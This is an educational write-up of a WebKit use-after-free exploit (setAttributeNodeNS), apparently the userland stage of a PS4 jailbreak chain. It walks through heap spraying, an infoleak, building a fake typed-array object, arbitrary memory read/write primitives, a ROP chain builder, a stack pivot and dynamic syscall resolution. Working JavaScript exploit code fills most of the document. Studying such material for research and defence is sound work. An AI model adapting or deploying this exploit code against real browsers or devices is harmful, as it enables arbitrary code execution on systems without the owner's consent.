Note: While I exploited this bug on the PS4, this bug can also be exploited on other unpatched platforms. As such, I've published it under the "WebKit" folder and not the "PS4" folder.
In around October of 2017, a few others as well as myself were looking through project zer0 bugs to see which ones could work on the latest FW of the PlayStation 4, which at the time was 5.00. I stumbled across the setAttributeNodeNS bug, and happily (with a majority of the work being done by qwertyoruiopz), we were able to achieve userland code execution in WebKit. While we were writing this exploit, qwerty helped me understand what was happening, and I ended up learning a lot from it, so I hope through this write-up, those interested could learn about WebKit internals - I've tried to ensure the write-up is for the most part beginner friendly. The exploit was patched in firmware 5.03. This write-up will only cover the userland aspect of the 4.55 full jailbreak chain, however you can find the kernel part here (to be released at a later date).
The proof of concept for this exploit can be found on the Chromium bug page. This bug was reported by lokihardt from Google Project Zer0. The bug can be found in Element::setAttributeNodeNS()
. Let's take a look at a code snippet:
ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
attrNode.attachToElement(*this);
treeScope().adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(*this).append(&attrNode);
return WTFMove(oldAttrNode);
}
Notice that the function calls setAttributeInternal()
before inserting / updating a new attribute. As stated by the bug description, setAttributeNodeNS()
can be called again through setAttributeInternal()
. If this happens, two attribute nodes (Attr) will have the same owner element. If one were to be free()'d, the other attribute will hold a stale reference, thus allowing a use-after-free (UAF) scenario. Let's take a look at the PoC:
<body>
<script>
function gc() {
for (let i = 0; i < 0x40; i++) {
new ArrayBuffer(0x1000000);
}
}
window.callback = () => {
window.callback = null;
d.setAttributeNodeNS(src);
f.setAttributeNodeNS(document.createAttribute('src'));
};
let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';
let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;
gc();
alert(d.attributes[0].ownerElement);
</script>
In environments where the bug is unpatched, alert() will report an instance of the iframe object. In patched environments, the code will fail and hit an exception, because d
should be undefined
. I am happy to say that alert() will report an instance of the iframe object up to and including firmware 5.02.
WebKit sections it’s heap into arenas. The purpose of these arenas is not only to organize objects in their own pools, but to also mitigate heap exploits by controlling what type of objects you can corrupt in your immediate arena. The object we have a use-after-free for is an iframe object, which is fastmalloc()
'd. This will be in the WebCore arena. WebCore objects are not too interesting for primitives, our eventual goal is to obtain a read/write primitive via a misaligned uint32array. We need to move from WebCore heap corruption to JSCore heap corruption. Keep this in mind for the rest of the exploit, as it is a vital to it’s success.
We need to leak a pointer to a JSValue in the JSCore heap that we want to corrupt. Unfortunately our leak is also a WebCore leak as the backing memory is fastmalloc()
’d, so we need an object that is both fastmalloc()
’d and contains pointers into the JSCore heap. MarkedArgumentBuffer is a great target.
For more information on MarkedArgumentBuffer and how it can be used in exploits, see the Pegasus write-up.
We can create an "ImageData" object (see ImageData) and call postMessage()
with a null message and no origin preference, and use our instance of the ImageData object as the transfer. By then pushing the state of the object into the session history, the backing memory for the ImageData.data
object is allocated but not initialized. We can actually access this backing memory via history.state.data.buffer
as a Uint32array. This means not only can we access uninitialized heap memory, we can control the size of the leak. We can setup the heap to leak a JSObject. Creating our own JSObject is very trivial, and can be done like so:
var tgt = {a:0,b:0,c:0,d:0};
We can then spray the heap with our JSObject of tgt
and leak it using the ImageData object's backing memory, .data.buffer
.
var y = new ImageData(1, 0x4000);
postMessage("", "*", [y.data.buffer]);
var props = {};
for (var i=0; i<0x4000/(2); )
{
props[i++] = {value:0x42424242};
props[i++] = {value:tgt};
}
// ...
history.pushState(y,"");
Object.defineProperties({}, props);
var leak = new Uint32Array(history.state.data.buffer);
Our goal of this leak is to be able to leak a JSValue, but how can we do this? The answer is JSObjects. We can easily create one, and not only will this object allow us to leak JSValues, but we will also use it in a later stage to obtain a read/write primitive (more on that later). For now, let's look at how JSObjects look in memory (for more information on JSObject internals, see the "Attacking Javascript Engines" paper by Saelo@Phrack). I've written it as a C structure in pseudocode and provided the offsets as comments, in reality it's a bit more complex, but the concept remains.
struct JSObject {
JSCell cell; // 0x00
Butterfly *butterfly; // 0x08
JSValue *prop_slot_1; // 0x10
JSValue *prop_slot_2; // 0x18
JSValue *prop_slot_3; // 0x20
JSValue *prop_slot_4; // 0x28
}
For this write-up, we will mostly ignore the "cell" and "butterfly" members. Just know that "cell" contains the object's type, structure ID, and some flags. The butterfly pointer will be null, because since we are only using 4 properties, a butterfly is not needed.
Notice how we have access to JSValue pointers in offsets 0x10 - 0x30? We're going to use slot 2 (labelled 'b' in the target object) to leak JSValues. As a reminder, here's a definition of target:
var tgt = {a:0,b:0,c:0,d:0};
To leak the JSValue from 'b', we will need to put our target object inside some other object that we can spray on the heap, such as a MarkedArgumentBuffer. If we set some properties of the object to our target JSObject tgt
, we will be able to leak it in memory, as it will be inlined.
If we add less than 8 properties, the object will be allocated on the stack (this is for performance reasons). We need our object to be in the heap. Additionally, larger objects are used less and are therefore more reliable, so we will add 0x4000
properties to our MarkedArgumentBuffer object. In our spray, we will set every second element to 0x42424242
(“BBBB”) and every other element to tgt
. This will allow us to both ensure the integrity of the leak (by checking against 0x42424242
) and allow us to extract information out of our JSObject. The exploit further verifies that we’re leaking the correct object by checking the JSObject's properties against known values.
for (var i=0; i < leak.length - 6; i++)
{
if (leak[i] == 0x42424242 &&
leak[i+1] == 0xffff0000 &&
leak[i+2] == 0 &&
leak[i+3] == 0 &&
leak[i+4] == 0 &&
leak[i+5] == 0 &&
leak[i+6] == 14 &&
leak[i+7] == 0 &&
leak[i+10] == 0 &&
leak[i+11] == 0 &&
leak[i+12] == 0 &&
leak[i+13] == 0 &&
leak[i+14] == 14 &&
leak[i+15] == 0)
{
foundidx = i;
foundleak = leak;
break;
}
}
Keep in mind leak
is a Uint32array, meaning each element is 32-bits wide. Index 0 and 1 contain the JSValue of our 0x42424242
immediate value (index 1 is set to 0xFFFF0000
because this is the upper prefix for a 32-bit integer). Also keep in mind we're in Little Endian, which is why element 0
contains the lower 32-bits of the JSValue and element 1 the upper 32-bits.
Notice that we can leak the JSValue of the second property ('b') of the JSObject at index 8 and 9 (6 indexes * 4 bytes = 0x18 (prop_slot_2) + 0x08 for the 0x42424242
JSValue).
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakval = new int64(firstleak[8], firstleak[9]);
leakval.toString();
Because we maintain a double reference to the iframe, when it is free()'d by garbage collection, one reference will be cleared however the other will not be. This allows us to maintain a stale reference. This is important, because we can corrupt the backing JSObject of the iframe object by spraying the heap, and control the behavior of how the stale object is used. For instance, we can control the size of the buffer, the pointer to the backing memory (called "vector"), and the butterfly.
Now that we've leaked a JSValue, we're going to trigger the free() on our iframe by applying memory pressure to force garbage collection by calling dgc()
. dgc()
is defined as the following:
var dgc = function() {
for (var i = 0; i < 0x100; i++) {
new ArrayBuffer(0x100000);
}
}
f.name = "lol";
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;
nogc.length=0;
dgc();
The JSObject representing our iframe is free, as well as it's butterfly. Again, iframe objects are fastmalloc()
'd, meaning our spray vector must also be fastmalloc()
'd. Our old friend ImageData does the trick. We cannot allocate Uint32Array's of size 0x90 and have it fastmalloc()
'd, but we need to access the data via a Uint32Array. We can get around this by first spraying a bunch of ImageData objects on the heap (Uint8Array) then converting to Uint32Arrays after. On the heap, iframe objects are of size 0x90 on the PS4. We can control the size of the MarkedArgumentBuffer we spray via the ImageData "width" and "height" parameters. Since each value is represented by 32-bits (or 4 bytes) and ImageData is backed by a Uint8Array, we divide the height by 4.
for (var i=0; i < 0x10000; i++)
{
objs[i] = new ImageData(1,0x90/4);
}
for (var i=0; i < 0x10000; i++)
{
objs[i] = new Uint32Array(objs[i].data.buffer);
}
Now we've sprayed the heap with a bunch of objects, but we haven't really corrupted memory yet. Our next task is to loop through all the objects we created, and set their butterfly values to leakval + 0x1C
. This will allow us to smash the butterfly easily via the 'b' property of the target. Notice we're overwriting indexes 2 and 3 as each index is 32-bits wide, so index 2 is offset 0x8 (which is the lower 32-bits of the butterfly) and index 3 is offset 0xC
(which is the upper 32-bits of the butterfly).
for (var i=0; i<objspray; i++)
{
objs[i][2] = leakval.low + 0x18 + 4;
objs[i][3] = leakval.hi;
}
Our next objective is to misalign a JSValue so we can control the JSObject's JSCell, Butterfly, Vector, and Length. We can do this by taking the leaked JSValue we have from the infoleak and add 0x10 to the pointer. This will allow us to create a fake JSArrayBufferView inside the JSObject's inline property storage, and control meta-data that we otherwise could not control.
Notice in the screenshot that the structure of "Uint32Array" differs slightly from a JSObject. To avoid confusion, we will refer to this "Uint32Array" meta-data structure as JSArrayBufferView (which is the class that Float64Array's inherit) to avoid confusing it with the Uint32Array type.
First, we'll grab a pointer to our fake JSArrayBufferView. As mentioned earlier, we're going to create it via the target's properties at offset 0x10, so we can take the leaked value and add 0x10
to it.
var craftptr = leakval.sub32(0x10000 - 0x10)
This line may seem strange at first, but notice that due to double encoding, this line translates to leakval.sub32(-0x10)
, or simply leakval.add32(0x10)
. Then we need to fake the JSCell of a JSObject using the target's first property, and fake the butterfly to point to the leaked object itself, and the vector to the upper 32-bits of the leaked object. What we are essentially doing here is creating Type Confusion in the heap via the JSCell to create a fake JSArrayBufferView.
tgt.a = u2d(2048, 0x1602300);
tgt.b = u2d(0,craftptr.low);
tgt.c = craftptr.hi;
Read/Write primitives are very powerful, and can allow us to later obtain code execution. For a R/W primitive, we need two buffers. The first is a master, this will allow us to set the address to write to in the case of writing, or the address to read from in the case of reading. The second is a slave, which will either be used to set the value at the master's address if writing, or read the value from the master's address if reading. We will also allocate a third buffer that will be used to help leak JSValues.
var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
The following bit can be confusing if you don't understand this section. While tgt
and stale
currently overlap, they don't stay that way. By writing to tgt.c
, we control where stale
points. This means in the following section, when you see something such as the following:
tgt.c = master;
stale[4] = leakval_u32[0];
stale[5] = leakval_u32[1];
The first line sets stale
to the JSArrayBufferView of the master
Uint32array, and the second and third sets the "vector" pointer of the master
's JSArrayBufferView. This means we can control properties of the JSArrayBufferView via stale
. Below is a diagram to provide a visual aid.
We're going to create a fake JSArrayBufferView inside the JSObject that we've set. This is trivial, we just need to change tgt.a
's JSCell ID to that of a JSArrayBufferView, and treat b
, c
, and d
as butterfly
, vector
, and length
respectively.
var leakval_helper = [slave,2,3,4,5,6,7,8,9,10];
tgt.a = u2d(4096, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;
Notice we're setting the fake JSArrayBufferView's vector to a real JSArrayBufferView (leakval_helper). The first value is set to the slave
buffer for leaking JSValues, the rest of the values are filler to ensure that a butterfly is allocated. Before we setup our primitives, we need to setup the handles to the buffers they will be using. First we'll store the butterfly's value from leakval_helper
's JSArrayBufferView - this is primarily used for creating and leaking JSValues, which is important later for gaining code execution.
tgt.c = leakval_helper;
var butterfly = new int64(stale[2], stale[3]);
We'll want to setup some buffers to help us leak and create JSValues. We'll do this by setting tgt.c
to the address of the leakval_32
buffer we setup earlier. First we'll want to store the old "vector" value so we can restore it later. Then we will set the "vector" to leakval_helper
's butterfly which has the slave
buffer.
tgt.c = leakval_u32;
var lkv_u32_old = new int64(stale[4], stale[5]);
stale[4] = butterfly.low;
stale[5] = butterfly.hi;
Now we want to setup the buffers for our read/write primitive. By setting master
's "vector" to the address of the slave
Uint32Array, we can easily establish a read/write primitive. We can control where slave
points via the "vector" of master
. Therefore, by setting up master[4]
and master[5]
with the address of where we want to write, and slave[0]
and slave[1]
with the value we want to write, we can establish a write primitive. Similarily, by setting up master[4]
and master[5]
with the address of where we want to read from, we can retrieve our value from slave[0]
, and slave[1]
as well if the value is a 64-bit value.
tgt.c = master;
stale[4] = leakval_u32[0]; // 'slave' read from butterfly of leakval_u32
stale[5] = leakval_u32[1];
var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
stale[4] = lkv_u32_old.low;
stale[5] = lkv_u32_old.hi;
var prim = {
write8: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
if (val instanceof int64)
{
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
write4: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
slave[0] = val;
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
read8: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var rtv = new int64(slave[0], slave[1]);
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
},
read4: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var rtv = slave[0];
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
}
// ...
}
Notice that earlier we ensured a butterfly was created for leakval_helper
by setting up more than 4 values. Also notice that we've set leakval_32
up so that we can write to leakval_helper
's own butterfly, as we've set tgt.c
to leakval_helper
and set it's backing JSObject's "vector" to butterfly
.
tgt.c = leakval_helper;
// ...
var butterfly = new int64(stale[2], stale[3]);
tgt.c = leakval_u32;
// ...
stale[4] = butterfly.low;
stale[5] = butterfly.hi;
Below is a snippet of how butterflies are structured, this was taken from the Phrack paper "Attacking Javascript Engines":
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
Notice how elem0 is accessible by accessing index 0 due to where the object references the butterfly. This is why using leakval_u32
to set the master
vector to slave
works, because slave
is at the zero-index. This means that the variable butterfly
and leakval_helper[0]
will be equivalent. If we place a JSValue in leakval_helper[0]
, we can retrieve it's address by using our read() primitive on butterfly
. Similarily, we can create a JSValue by writing it to the butterfly
, and retrieving it via leakval_helper[0]
. This allows us to convert bytes to JSValues and JSValues to bytes.
var prim = {
// ... read/write primitives
leakval: function(jsval)
{
leakval_helper[0] = jsval;
var rtv = this.read8(butterfly);
this.write8(butterfly, new int64(0x41414141, 0xffffffff));
return rtv;
}
createval: function(jsval)
{
this.write8(butterfly, jsval);
var rt = leakval_helper[0];
this.write8(butterfly, new int64(0x41414141, 0xffffffff));
return rt;
}
}
Due to NX and lack of permissions for JiT memory, we have to run our kernel exploit in a ROP chain. This section mostly covers how ROP chains work for those who are newer to exploitation, but also focuses on some of the specifics of how the chain is launched.
The idea of a ROP chain is simple. If we cannot write our own instructions and execute them, we can write instruction sequences using snippets of code that are already available to us from the program to accomplish a similar goal (these are often called "gadgets"). This concept is often referred to as a "code re-use" attack, or more commonly "return-oriented programming", which is abbreviated to "ROP" for brevity's sake. The idea is we control the instruction pointer and make it jump from 1 gadget to another to another. To do this, each gadget must end with a 0xC3
opcode, which in x86/x86_64 is a "ret" instruction. Gadgets can also end with "jmp" instructions, but these are not typically used because not only are gadgets much more limited, but "jmp"'s cannot always be controlled by the attacker.
So how do we create a chain to put our instruction sequences in? We can create a fake stack and ensure the pointer to our fake stack finds it's way into the RSP
(stack pointer) register. When the next ret
instruction is hit, our fake stack will be used. This is called a "stack pivot", an optimal stack pivot allows you to set both RSP
and RIP
(instruction pointer) registers.
First we should create a set of functions that allows us to easily create and manage ROP chains. This function will have methods such as "push" and "syscall" to push the necessary information on the stack to do the action specified. Technically we could do these all manually every time we want to initiate a syscall, but this is unmanagable and creating a class of functions to manage this makes a lot more sense. We'll also want to allocate the backing memory of the stack, a Uint32Array is a good candidate for this. We want to also create a pointer that points to the base of the fake stack, like an RBP
register. Naturally we'll need to set this to the address of the Uint32Array in memory. Thankfully due to the primitives we setup earlier, leaking the address of this array is trivial, as we can leak the Uint32Array's backing JSArrayBufferView and dereference the address at offset 0x10. The count
variable will act as RSP
, and will keep track of where we are in the stack.
window.RopChain = function () {
this.ropframe = new Uint32Array(0x10000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
this.count = 0;
// ...
}
The ability to reset the ROP chain will also be helpful. After every run of the ROP chain, we can reset the count and zero the backing memory to ensure the next chain runs without issue.
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0xff0/2; i++)
{
p.write8(this.ropframeptr.add32(i*8), 0);
}
};
We will also want the ability to easily push values or gadgets into the ROP chain. These functions will not only write these values into the ROP chain, but will also implicitly keep track of count
to prevent corrupting the stack.
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(where); // where
this.push(gadgets["pop rsi"]); // pop rsi
this.push(what); // what
this.push(gadgets["mov [rdi], rsi"]); // perform write
}
Finally, we want a function that can allow us to easily call functions by address. This function is fairly trivial, it essentially just sets up the argument registers and pushes the function pointer on the stack. In x86_64 ABI, the following arguments correspond to the following registers:
Argument 1 = RDI
Argument 2 = RSI
Argument 3 = RDX
Argument 4 = RCX
Argument 5 = R8
Argument 6 = R9
To save space on our fake stack, the fcall
function we create will only push instructions for setting up registers that we actually define. We will also be calling system calls through fcall
. Because Sony no longer allows us to call system call 0 to specify the call number, we'll call the syscall wrappers provided to us from libkernel_web.sprx
.
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if (rdi != undefined) {
this.push(gadgets["pop rdi"]); // pop rdi
this.push(rdi); // what
}
if (rsi != undefined) {
this.push(gadgets["pop rsi"]); // pop rsi
this.push(rsi); // what
}
if (rdx != undefined) {
this.push(gadgets["pop rdx"]); // pop rdx
this.push(rdx); // what
}
if (rcx != undefined) {
this.push(gadgets["pop rcx"]); // pop r10
this.push(rcx); // what
}
if (r8 != undefined) {
this.push(gadgets["pop r8"]); // pop r8
this.push(r8); // what
}
if (r9 != undefined) {
this.push(gadgets["pop r9"]); // pop r9
this.push(r9); // what
}
this.push(rip); // jmp
return this;
}
So we've setup a fake stack, but how do we actually make our chain run? This is accomplished by the fairly complex function p.loadchain()
. For the sake of brevity, I won't cover all of what the function does as much of it is context saving stuff. I will not go as in-depth in this portion as I did the core of the exploit, but I will cover it briefly. Since we have a leakval
primitive to leak JSValues, we can easily use this to leak function pointers. Functions in JavaScript are represented by objects, and the function's pointer is located at offset 0x18. We can then add 0x40 to this dereferenced value to skip the header.
p.leakfunc = function(func)
{
var fptr_store = p.leakval(func);
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
}
Now that we have a primitive to leak JS function pointers, we can choose a target function and overwrite it's function pointer to jump to where we please. Since we used parseFloat() earlier for defeating ASLR, we can use it again. We first want to save register context, we can do this using the setjmp()
funcion in libc. This however requires us to set rdi as well, so we'll call a "jop" sequence to get there.
// JOP
0: 48 8b 7f 48 mov rdi,QWORD PTR [rdi+0x48]
4: 48 8b 07 mov rax,QWORD PTR [rdi]
7: 48 8b 40 30 mov rax,QWORD PTR [rax+0x30]
b: ff e0 jmp rax
The reenter_help
function is then called via Array.prototype.splice.apply(reenter_help);
to perform the stack pivot. The stack pivot is performed by leaking the address of the fake stack's pointer and popping it into the rsp register.
var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
stackCookie = p.read8(stackPointer.add32(8));
var returnToFrame = stackPointer;
var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
chain.push(gadgets["pop rsp"]); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;
p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame
}}};
Earlier we established a function called fcall
in our ROP chain primitive to pop values into registers defined by the AMD64 ABI and push the function pointer on the stack to initiate a call. We will now create a wrapper that calls this function, but also additionally allows us to retrieve the return value. As defined in the ABI, returned values are always stored in the rax
register, so by moving it into a memory address in our address space, we can easily retrieve it using our read primitive.
p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
chain.clear();
chain.notimes = this.next_notime;
this.next_notime = 1;
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(window.gadgets["pop rdi"]); // pop rdi
chain.push(chain.stackBase.add32(0x3ff8)); // where
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
chain.push(window.gadgets["pop rax"]); // pop rax
chain.push(p.leakval(0x41414242)); // where
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
return p.read8(chain.stackBase.add32(0x3ff8));
}
As mentioned earlier, we cannot directly issue syscall
instructions anymore in our ROP chains. We can however, call the wrappers provided to us to access them via the libkernel_web.sprx
module. We can dynamically resolve syscall wrappers by reading the bytes to see if they match the structure of a syscall wrapper. This is far better compared to the past when we would have to reverse the libkernel module and add offsets manually for the system calls we needed, now we just need to keep a list of the syscall names if we want to call them by name. This list is kept in syscalls.js
.
// Dynamically resolve syscall wrappers from libkernel
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, window.moduleBaseLibKernel);
p.write4(kstr.add32(8), 0x40000);
var countbytes;
for (var i=0; i < 0x40000; i++)
{
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
{
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
{
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i);
}
}
Our system call primitive wrapper will simply locate the offset for a given system call by the window.syscalls
array and issue an fcall
to it.
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) {
if (typeof sysc == "string") {
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number") {
throw new Error("invalid syscall");
}
var off = window.syscalls[sysc];
if (off == undefined) {
throw new Error("invalid syscall");
}
return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
}
For a seasoned webkit attacker, this bug is trivial to exploit. For non-seasoned ones such as myself however, working with WebKit to leverage a read/write primitive from WebCore heap corruption can be confusing and challenging. I hope through this write-up that it can help other researchers new to webkit to understand a bit of the magic that happens behind webkit exploitation, as without understanding fundamental data structures such as JSObjects and JSValues, it can be difficult to make sense of what's happening. This is why I focused the core of the write-up on going from heap corruption to obtaining a read/write primitive, and how type confusion with internal objects can be used to achieve it.
In the next section (yet to be published), we will cover the kernel exploit portion of the 4.55 jailbreak chain. While this WebKit exploit will work on 5.02 and lower, the kernel exploit will only work on firmware 4.55 and lower.
Lokihardt
Chromium Bug #169685 reported by lokihardt@google.com
Attacking Javascript Engines by sealo
Technical Analysis of the Pegasus Exploits on iOS by Lookout